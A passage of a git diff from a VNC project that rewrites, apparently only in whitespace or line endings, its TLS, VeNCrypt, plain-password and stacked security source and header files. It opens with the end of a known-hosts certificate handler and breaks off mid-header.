GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + } + } + + if (gnutls_store_pubkey(dbPath.c_str(), nullptr, + client->getServerName(), nullptr, + GNUTLS_CRT_X509, &cert_list[0], 0, 0)) + vlog.error("Failed to store server certificate to known hosts database"); + + vlog.info("Exception added for server host"); + + gnutls_x509_crt_deinit(crt); + gnutls_free(info.data); +} + diff --git a/T2SRFB/common/rfb/CSecurityTLS.h b/T2SRFB/common/rfb/CSecurityTLS.h index 0d7cdf6..95156d5 100644 --- a/T2SRFB/common/rfb/CSecurityTLS.h +++ b/T2SRFB/common/rfb/CSecurityTLS.h @@ -1,73 +1,73 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __C_SECURITY_TLS_H__ -#define __C_SECURITY_TLS_H__ - -#ifndef HAVE_GNUTLS -#error "This header should not be compiled without HAVE_GNUTLS defined" -#endif - -#include -#include - -#include - -namespace rdr { - class InStream; - class OutStream; - class TLSSocket; -} - -namespace rfb { - class CSecurityTLS : public CSecurity { - public: - CSecurityTLS(CConnection* cc, bool _anon); - virtual ~CSecurityTLS(); - bool processMsg() override; - int getType() const override { return anon ? secTypeTLSNone : secTypeX509None; } - bool isSecure() const override { return !anon; } - - static core::StringParameter X509CA; - static core::StringParameter X509CRL; - - protected: - void shutdown(); - void freeResources(); - void setParam(); - void checkSession(); - CConnection *client; - - private: - gnutls_session_t session; - gnutls_anon_client_credentials_t anon_cred; - gnutls_certificate_credentials_t cert_cred; - bool anon; - - rdr::TLSSocket* tlssock; - - rdr::InStream* rawis; - rdr::OutStream* rawos; - }; -} - -#endif +/* + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __C_SECURITY_TLS_H__ +#define __C_SECURITY_TLS_H__ + +#ifndef HAVE_GNUTLS +#error "This header should not be compiled without HAVE_GNUTLS defined" +#endif + +#include +#include + +#include + +namespace rdr { + class InStream; + class OutStream; + class TLSSocket; +} + +namespace rfb { + class CSecurityTLS : public CSecurity { + public: + CSecurityTLS(CConnection* cc, bool _anon); + virtual ~CSecurityTLS(); + bool processMsg() override; + int getType() const override { return anon ? secTypeTLSNone : secTypeX509None; } + bool isSecure() const override { return !anon; } + + static core::StringParameter X509CA; + static core::StringParameter X509CRL; + + protected: + void shutdown(); + void freeResources(); + void setParam(); + void checkSession(); + CConnection *client; + + private: + gnutls_session_t session; + gnutls_anon_client_credentials_t anon_cred; + gnutls_certificate_credentials_t cert_cred; + bool anon; + + rdr::TLSSocket* tlssock; + + rdr::InStream* rawis; + rdr::OutStream* rawos; + }; +} + +#endif diff --git a/T2SRFB/common/rfb/CSecurityVeNCrypt.cxx b/T2SRFB/common/rfb/CSecurityVeNCrypt.cxx index f18aac4..02e37ea 100644 --- a/T2SRFB/common/rfb/CSecurityVeNCrypt.cxx +++ b/T2SRFB/common/rfb/CSecurityVeNCrypt.cxx @@ -1,206 +1,206 @@ -/* - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2005-2006 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -// -// CSecurityVeNCrypt -// - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include - -#include - -#include -#include -#include -#include -#include - -using namespace rfb; - -static core::LogWriter vlog("CVeNCrypt"); - -CSecurityVeNCrypt::CSecurityVeNCrypt(CConnection* cc_, - SecurityClient* sec) - : CSecurity(cc_), csecurity(nullptr), security(sec) -{ - haveRecvdMajorVersion = false; - haveRecvdMinorVersion = false; - haveSentVersion = false; - haveAgreedVersion = false; - haveListOfTypes = false; - haveNumberOfTypes = false; - haveChosenType = false; - majorVersion = 0; - minorVersion = 0; - chosenType = secTypeVeNCrypt; - nAvailableTypes = 0; - availableTypes = nullptr; -} - -CSecurityVeNCrypt::~CSecurityVeNCrypt() -{ - delete[] availableTypes; - delete csecurity; -} - -bool CSecurityVeNCrypt::processMsg() -{ - rdr::InStream* is = cc->getInStream(); - rdr::OutStream* os = cc->getOutStream(); - - /* get major, minor versions, send what we can support (or 0.0 for can't support it) */ - if (!haveRecvdMajorVersion) { - if (!is->hasData(1)) - return false; - - majorVersion = is->readU8(); - haveRecvdMajorVersion = true; - } - - if (!haveRecvdMinorVersion) { - if (!is->hasData(1)) - return false; - - minorVersion = is->readU8(); - haveRecvdMinorVersion = true; - } - - /* major version in upper 8 bits and minor version in lower 8 bits */ - uint16_t Version = (((uint16_t) majorVersion) << 8) | - ((uint16_t) minorVersion); - - if (!haveSentVersion) { - /* Currently we don't support former VeNCrypt 0.1 */ - if (Version >= 0x0002) { - majorVersion = 0; - minorVersion = 2; - os->writeU8(majorVersion); - os->writeU8(minorVersion); - os->flush(); - } else { - /* Send 0.0 to indicate no support */ - majorVersion = 0; - minorVersion = 0; - os->writeU8(0); - os->writeU8(0); - os->flush(); - throw protocol_error("The server reported an unsupported VeNCrypt version"); - } - - haveSentVersion = true; - } - - /* Check that the server is OK */ - if (!haveAgreedVersion) { - if (!is->hasData(1)) - return false; - - if (is->readU8()) - throw protocol_error("The server reported it could not " - "support the VeNCrypt version"); - - haveAgreedVersion = true; - } - - /* get a number of types */ - if (!haveNumberOfTypes) { - if (!is->hasData(1)) - return false; - - nAvailableTypes = is->readU8(); - - if (!nAvailableTypes) - throw protocol_error("The server reported no VeNCrypt sub-types"); - - availableTypes = new uint32_t[nAvailableTypes]; - haveNumberOfTypes = true; - } - - if (nAvailableTypes) { - /* read in the types possible */ - if (!haveListOfTypes) { - if (!is->hasData(4 * nAvailableTypes)) - return false; - - for (int i = 0;i < nAvailableTypes;i++) { - availableTypes[i] = is->readU32(); - vlog.debug("Server offers security type %s (%d)", - secTypeName(availableTypes[i]), - availableTypes[i]); - } - - haveListOfTypes = true; - } - - /* make a choice and send it to the server, meanwhile set up the stack */ - if (!haveChosenType) { - chosenType = secTypeInvalid; - uint8_t i; - std::list secTypes; - - secTypes = security->GetEnabledExtSecTypes(); - - /* Honor server's security type order */ - for (i = 0; i < nAvailableTypes; i++) { - if (std::find(secTypes.begin(), secTypes.end(), - availableTypes[i]) != secTypes.end()) { - chosenType = availableTypes[i]; - break; - } - } - - /* Set up the stack according to the chosen type: */ - if (chosenType == secTypeInvalid || chosenType == secTypeVeNCrypt) - throw protocol_error("No valid VeNCrypt sub-type"); - - vlog.info("Choosing security type %s (%d)", secTypeName(chosenType), - chosenType); - - csecurity = security->GetCSecurity(cc, chosenType); - - /* send chosen type to server */ - os->writeU32(chosenType); - os->flush(); - - haveChosenType = true; - } - } else { - /* - * Server told us that there are 0 types it can support - this should not - * happen, since if the server supports 0 sub-types, it doesn't support - * this security type - */ - throw protocol_error("The server reported 0 VeNCrypt sub-types"); - } - - return csecurity->processMsg(); -} - -bool CSecurityVeNCrypt::isSecure() const -{ - if (csecurity && csecurity->isSecure()) - return true; - return false; -} +/* + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2005-2006 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +// +// CSecurityVeNCrypt +// + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#include + +#include +#include +#include +#include +#include + +using namespace rfb; + +static core::LogWriter vlog("CVeNCrypt"); + +CSecurityVeNCrypt::CSecurityVeNCrypt(CConnection* cc_, + SecurityClient* sec) + : CSecurity(cc_), csecurity(nullptr), security(sec) +{ + haveRecvdMajorVersion = false; + haveRecvdMinorVersion = false; + haveSentVersion = false; + haveAgreedVersion = false; + haveListOfTypes = false; + haveNumberOfTypes = false; + haveChosenType = false; + majorVersion = 0; + minorVersion = 0; + chosenType = secTypeVeNCrypt; + nAvailableTypes = 0; + availableTypes = nullptr; +} + +CSecurityVeNCrypt::~CSecurityVeNCrypt() +{ + delete[] availableTypes; + delete csecurity; +} + +bool CSecurityVeNCrypt::processMsg() +{ + rdr::InStream* is = cc->getInStream(); + rdr::OutStream* os = cc->getOutStream(); + + /* get major, minor versions, send what we can support (or 0.0 for can't support it) */ + if (!haveRecvdMajorVersion) { + if (!is->hasData(1)) + return false; + + majorVersion = is->readU8(); + haveRecvdMajorVersion = true; + } + + if (!haveRecvdMinorVersion) { + if (!is->hasData(1)) + return false; + + minorVersion = is->readU8(); + haveRecvdMinorVersion = true; + } + + /* major version in upper 8 bits and minor version in lower 8 bits */ + uint16_t Version = (((uint16_t) majorVersion) << 8) | + ((uint16_t) minorVersion); + + if (!haveSentVersion) { + /* Currently we don't support former VeNCrypt 0.1 */ + if (Version >= 0x0002) { + majorVersion = 0; + minorVersion = 2; + os->writeU8(majorVersion); + os->writeU8(minorVersion); + os->flush(); + } else { + /* Send 0.0 to indicate no support */ + majorVersion = 0; + minorVersion = 0; + os->writeU8(0); + os->writeU8(0); + os->flush(); + throw protocol_error("The server reported an unsupported VeNCrypt version"); + } + + haveSentVersion = true; + } + + /* Check that the server is OK */ + if (!haveAgreedVersion) { + if (!is->hasData(1)) + return false; + + if (is->readU8()) + throw protocol_error("The server reported it could not " + "support the VeNCrypt version"); + + haveAgreedVersion = true; + } + + /* get a number of types */ + if (!haveNumberOfTypes) { + if (!is->hasData(1)) + return false; + + nAvailableTypes = is->readU8(); + + if (!nAvailableTypes) + throw protocol_error("The server reported no VeNCrypt sub-types"); + + availableTypes = new uint32_t[nAvailableTypes]; + haveNumberOfTypes = true; + } + + if (nAvailableTypes) { + /* read in the types possible */ + if (!haveListOfTypes) { + if (!is->hasData(4 * nAvailableTypes)) + return false; + + for (int i = 0;i < nAvailableTypes;i++) { + availableTypes[i] = is->readU32(); + vlog.debug("Server offers security type %s (%d)", + secTypeName(availableTypes[i]), + availableTypes[i]); + } + + haveListOfTypes = true; + } + + /* make a choice and send it to the server, meanwhile set up the stack */ + if (!haveChosenType) { + chosenType = secTypeInvalid; + uint8_t i; + std::list secTypes; + + secTypes = security->GetEnabledExtSecTypes(); + + /* Honor server's security type order */ + for (i = 0; i < nAvailableTypes; i++) { + if (std::find(secTypes.begin(), secTypes.end(), + availableTypes[i]) != secTypes.end()) { + chosenType = availableTypes[i]; + break; + } + } + + /* Set up the stack according to the chosen type: */ + if (chosenType == secTypeInvalid || chosenType == secTypeVeNCrypt) + throw protocol_error("No valid VeNCrypt sub-type"); + + vlog.info("Choosing security type %s (%d)", secTypeName(chosenType), + chosenType); + + csecurity = security->GetCSecurity(cc, chosenType); + + /* send chosen type to server */ + os->writeU32(chosenType); + os->flush(); + + haveChosenType = true; + } + } else { + /* + * Server told us that there are 0 types it can support - this should not + * happen, since if the server supports 0 sub-types, it doesn't support + * this security type + */ + throw protocol_error("The server reported 0 VeNCrypt sub-types"); + } + + return csecurity->processMsg(); +} + +bool CSecurityVeNCrypt::isSecure() const +{ + if (csecurity && csecurity->isSecure()) + return true; + return false; +} diff --git a/T2SRFB/common/rfb/CSecurityVeNCrypt.h b/T2SRFB/common/rfb/CSecurityVeNCrypt.h index 0ead378..615bae2 100644 --- a/T2SRFB/common/rfb/CSecurityVeNCrypt.h +++ b/T2SRFB/common/rfb/CSecurityVeNCrypt.h @@ -1,61 +1,61 @@ -/* - * Copyright (C) 2005-2006 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -// -// CSecurityVeNCrypt -// - -#ifndef __CSECURITYVENCRYPT_H__ -#define __CSECURITYVENCRYPT_H__ - -#include - -#include - -namespace rfb { - - class SecurityClient; - - class CSecurityVeNCrypt : public CSecurity { - public: - - CSecurityVeNCrypt(CConnection* cc, SecurityClient* sec); - ~CSecurityVeNCrypt(); - bool processMsg() override; - int getType() const override {return chosenType;} - bool isSecure() const override; - - protected: - CSecurity *csecurity; - SecurityClient *security; - bool haveRecvdMajorVersion; - bool haveRecvdMinorVersion; - bool haveSentVersion; - bool haveAgreedVersion; - bool haveListOfTypes; - bool haveNumberOfTypes; - bool haveChosenType; - uint8_t majorVersion, minorVersion; - uint32_t chosenType; - uint8_t nAvailableTypes; - uint32_t *availableTypes; - }; -} -#endif +/* + * Copyright (C) 2005-2006 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +// +// CSecurityVeNCrypt +// + +#ifndef __CSECURITYVENCRYPT_H__ +#define __CSECURITYVENCRYPT_H__ + +#include + +#include + +namespace rfb { + + class SecurityClient; + + class CSecurityVeNCrypt : public CSecurity { + public: + + CSecurityVeNCrypt(CConnection* cc, SecurityClient* sec); + ~CSecurityVeNCrypt(); + bool processMsg() override; + int getType() const override {return chosenType;} + bool isSecure() const override; + + protected: + CSecurity *csecurity; + SecurityClient *security; + bool haveRecvdMajorVersion; + bool haveRecvdMinorVersion; + bool haveSentVersion; + bool haveAgreedVersion; + bool haveListOfTypes; + bool haveNumberOfTypes; + bool haveChosenType; + uint8_t majorVersion, minorVersion; + uint32_t chosenType; + uint8_t nAvailableTypes; + uint32_t *availableTypes; + }; +} +#endif diff --git a/T2SRFB/common/rfb/SSecurityPlain.h b/T2SRFB/common/rfb/SSecurityPlain.h index 0475332..03ccd5f 100644 --- a/T2SRFB/common/rfb/SSecurityPlain.h +++ b/T2SRFB/common/rfb/SSecurityPlain.h @@ -1,66 +1,66 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -#ifndef __RFB_SSECURITYPLAIN_H__ -#define __RFB_SSECURITYPLAIN_H__ - -#include -#include - -namespace core { class StringListParameter; } - -namespace rfb { - - class PasswordValidator { - public: - bool validate(SConnection* sc, - const char *username, - const char *password, - std::string &msg) - { return validUser(username) ? validateInternal(sc, username, password, msg) : false; } - static core::StringListParameter plainUsers; - - virtual ~PasswordValidator() { } - - protected: - virtual bool validateInternal(SConnection* sc, - const char *username, - const char *password, - std::string &msg) = 0; - static bool validUser(const char* username); - }; - - class SSecurityPlain : public SSecurity { - public: - SSecurityPlain(SConnection* sc); - bool processMsg() override; - int getType() const override { return secTypePlain; }; - const char* getUserName() const override { return username; } - - virtual ~SSecurityPlain() { } - - private: - PasswordValidator* valid; - unsigned int ulen, plen, state; - char username[1024]; - }; - -} -#endif - +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +#ifndef __RFB_SSECURITYPLAIN_H__ +#define __RFB_SSECURITYPLAIN_H__ + +#include +#include + +namespace core { class StringListParameter; } + +namespace rfb { + + class PasswordValidator { + public: + bool validate(SConnection* sc, + const char *username, + const char *password, + std::string &msg) + { return validUser(username) ? validateInternal(sc, username, password, msg) : false; } + static core::StringListParameter plainUsers; + + virtual ~PasswordValidator() { } + + protected: + virtual bool validateInternal(SConnection* sc, + const char *username, + const char *password, + std::string &msg) = 0; + static bool validUser(const char* username); + }; + + class SSecurityPlain : public SSecurity { + public: + SSecurityPlain(SConnection* sc); + bool processMsg() override; + int getType() const override { return secTypePlain; }; + const char* getUserName() const override { return username; } + + virtual ~SSecurityPlain() { } + + private: + PasswordValidator* valid; + unsigned int ulen, plen, state; + char username[1024]; + }; + +} +#endif + diff --git a/T2SRFB/common/rfb/SSecurityStack.h b/T2SRFB/common/rfb/SSecurityStack.h index 78206d8..a0f30f8 100644 --- a/T2SRFB/common/rfb/SSecurityStack.h +++ b/T2SRFB/common/rfb/SSecurityStack.h @@ -1,43 +1,43 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -#ifndef __RFB_SSECURITYSTACK_H__ -#define __RFB_SSECURITYSTACK_H__ - -#include - -namespace rfb { - - class SSecurityStack : public SSecurity { - public: - SSecurityStack(SConnection* sc, int Type, - SSecurity* s0 = nullptr, SSecurity* s1 = nullptr); - ~SSecurityStack(); - bool processMsg() override; - int getType() const override { return type; }; - const char* getUserName() const override; - AccessRights getAccessRights() const override; - protected: - short state; - SSecurity* state0; - SSecurity* state1; - int type; - }; -} -#endif +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +#ifndef __RFB_SSECURITYSTACK_H__ +#define __RFB_SSECURITYSTACK_H__ + +#include + +namespace rfb { + + class SSecurityStack : public SSecurity { + public: + SSecurityStack(SConnection* sc, int Type, + SSecurity* s0 = nullptr, SSecurity* s1 = nullptr); + ~SSecurityStack(); + bool processMsg() override; + int getType() const override { return type; }; + const char* getUserName() const override; + AccessRights getAccessRights() const override; + protected: + short state; + SSecurity* state0; + SSecurity* state1; + int type; + }; +} +#endif diff --git a/T2SRFB/common/rfb/SSecurityTLS.cxx b/T2SRFB/common/rfb/SSecurityTLS.cxx index e15f1fe..94922e6 100644 --- a/T2SRFB/common/rfb/SSecurityTLS.cxx +++ b/T2SRFB/common/rfb/SSecurityTLS.cxx @@ -1,286 +1,286 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#ifndef HAVE_GNUTLS -#error "This source should not be compiled without HAVE_GNUTLS defined" -#endif - -#include - -#include - -#include -#include -#include - -#include -#include - -#include - -#if defined (SSECURITYTLS__USE_DEPRECATED_DH) -/* FFDHE (RFC-7919) 2048-bit parameters, PEM-encoded */ -static unsigned char ffdhe2048[] = - "-----BEGIN DH PARAMETERS-----\n" - "MIIBDAKCAQEA//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz\n" - "+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a\n" - "87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7\n" - "YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi\n" - "7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaD\n" - "ssbzSibBsu/6iGtCOGEoXJf//////////wIBAgICAOE=\n" - "-----END DH PARAMETERS-----\n"; - -static const gnutls_datum_t ffdhe_pkcs3_param = { - ffdhe2048, - sizeof(ffdhe2048) -}; -#endif - -using namespace rfb; - -core::StringParameter SSecurityTLS::X509_CertFile -("X509Cert", "Path to the X509 certificate in PEM format", ""); - -core::StringParameter SSecurityTLS::X509_KeyFile -("X509Key", "Path to the key of the X509 certificate in PEM format", ""); - -static core::LogWriter vlog("TLS"); - -SSecurityTLS::SSecurityTLS(SConnection* sc_, bool _anon) - : SSecurity(sc_), session(nullptr), anon_cred(nullptr), - cert_cred(nullptr), anon(_anon), tlssock(nullptr), - rawis(nullptr), rawos(nullptr) -{ - int ret; - -#if defined (SSECURITYTLS__USE_DEPRECATED_DH) - dh_params = nullptr; -#endif - - ret = gnutls_global_init(); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_global_init()", ret); -} - -void SSecurityTLS::shutdown() -{ - if (tlssock) - tlssock->shutdown(); - -#if defined (SSECURITYTLS__USE_DEPRECATED_DH) - if (dh_params) { - gnutls_dh_params_deinit(dh_params); - dh_params = nullptr; - } -#endif - - if (anon_cred) { - gnutls_anon_free_server_credentials(anon_cred); - anon_cred = nullptr; - } - - if (cert_cred) { - gnutls_certificate_free_credentials(cert_cred); - cert_cred = nullptr; - } - - if (rawis && rawos) { - sc->setStreams(rawis, rawos); - rawis = nullptr; - rawos = nullptr; - } - - if (tlssock) { - delete tlssock; - tlssock = nullptr; - } - - if (session) { - gnutls_deinit(session); - session = nullptr; - } -} - - -SSecurityTLS::~SSecurityTLS() -{ - shutdown(); - - gnutls_global_deinit(); -} - -bool SSecurityTLS::processMsg() -{ - int err; - - vlog.debug("Process security message (session %p)", session); - - if (!session) { - rdr::InStream* is = sc->getInStream(); - rdr::OutStream* os = sc->getOutStream(); - - err = gnutls_init(&session, GNUTLS_SERVER); - if (err != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_init()", err); - - err = gnutls_set_default_priority(session); - if (err != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_set_default_priority()", err); - - try { - setParams(); - } - catch(...) { - os->writeU8(0); - throw; - } - - os->writeU8(1); - os->flush(); - - tlssock = new rdr::TLSSocket(is, os, session); - - rawis = is; - rawos = os; - } - - try { - if (!tlssock->handshake()) - return false; - } catch (std::exception&) { - shutdown(); - throw; - } - - vlog.debug("TLS handshake completed with %s", - gnutls_session_get_desc(session)); - - sc->setStreams(&tlssock->inStream(), &tlssock->outStream()); - - return true; -} - -void SSecurityTLS::setParams() -{ - static const char kx_anon_priority[] = "+ANON-ECDH:+ANON-DH"; - - int ret; - - // Custom priority string specified? - if (strcmp(Security::GnuTLSPriority, "") != 0) { - std::string prio; - const char *err; - - prio = (const char*)Security::GnuTLSPriority; - if (anon) { - prio += ":"; - prio += kx_anon_priority; - } - - ret = gnutls_priority_set_direct(session, prio.c_str(), &err); - if (ret != GNUTLS_E_SUCCESS) { - if (ret == GNUTLS_E_INVALID_REQUEST) - vlog.error("GnuTLS priority syntax error at: %s", err); - throw rdr::tls_error("gnutls_set_priority_direct()", ret); - } - } else if (anon) { - const char *err; - -#if GNUTLS_VERSION_NUMBER >= 0x030603 - ret = gnutls_set_default_priority_append(session, kx_anon_priority, &err, 0); - if (ret != GNUTLS_E_SUCCESS) { - if (ret == GNUTLS_E_INVALID_REQUEST) - vlog.error("GnuTLS priority syntax error at: %s", err); - throw rdr::tls_error("gnutls_set_default_priority_append()", ret); - } -#else - std::string prio; - - // We don't know what the system default priority is, so we guess - // it's what upstream GnuTLS has - prio = "NORMAL"; - prio += ":"; - prio += kx_anon_priority; - - ret = gnutls_priority_set_direct(session, prio.c_str(), &err); - if (ret != GNUTLS_E_SUCCESS) { - if (ret == GNUTLS_E_INVALID_REQUEST) - vlog.error("GnuTLS priority syntax error at: %s", err); - throw rdr::tls_error("gnutls_set_priority_direct()", ret); - } -#endif - } - -#if defined (SSECURITYTLS__USE_DEPRECATED_DH) - ret = gnutls_dh_params_init(&dh_params); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_dh_params_init()", ret); - - ret = gnutls_dh_params_import_pkcs3(dh_params, &ffdhe_pkcs3_param, - GNUTLS_X509_FMT_PEM); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_dh_params_import_pkcs3()", ret); -#endif - - if (anon) { - ret = gnutls_anon_allocate_server_credentials(&anon_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_anon_allocate_server_credentials()", ret); - -#if defined (SSECURITYTLS__USE_DEPRECATED_DH) - gnutls_anon_set_server_dh_params(anon_cred, dh_params); -#endif - - ret = gnutls_credentials_set(session, GNUTLS_CRD_ANON, anon_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_credentials_set()", ret); - - vlog.debug("Anonymous session has been set"); - - } else { - ret = gnutls_certificate_allocate_credentials(&cert_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_certificate_allocate_credentials()", ret); - -#if defined (SSECURITYTLS__USE_DEPRECATED_DH) - gnutls_certificate_set_dh_params(cert_cred, dh_params); -#endif - - ret = gnutls_certificate_set_x509_key_file(cert_cred, X509_CertFile, - X509_KeyFile, - GNUTLS_X509_FMT_PEM); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("Failed to load certificate and key", ret); - - ret = gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, cert_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_credentials_set()", ret); - - vlog.debug("X509 session has been set"); - - } - -} +/* + * Copyright (C) 2004 Red Hat Inc. + * 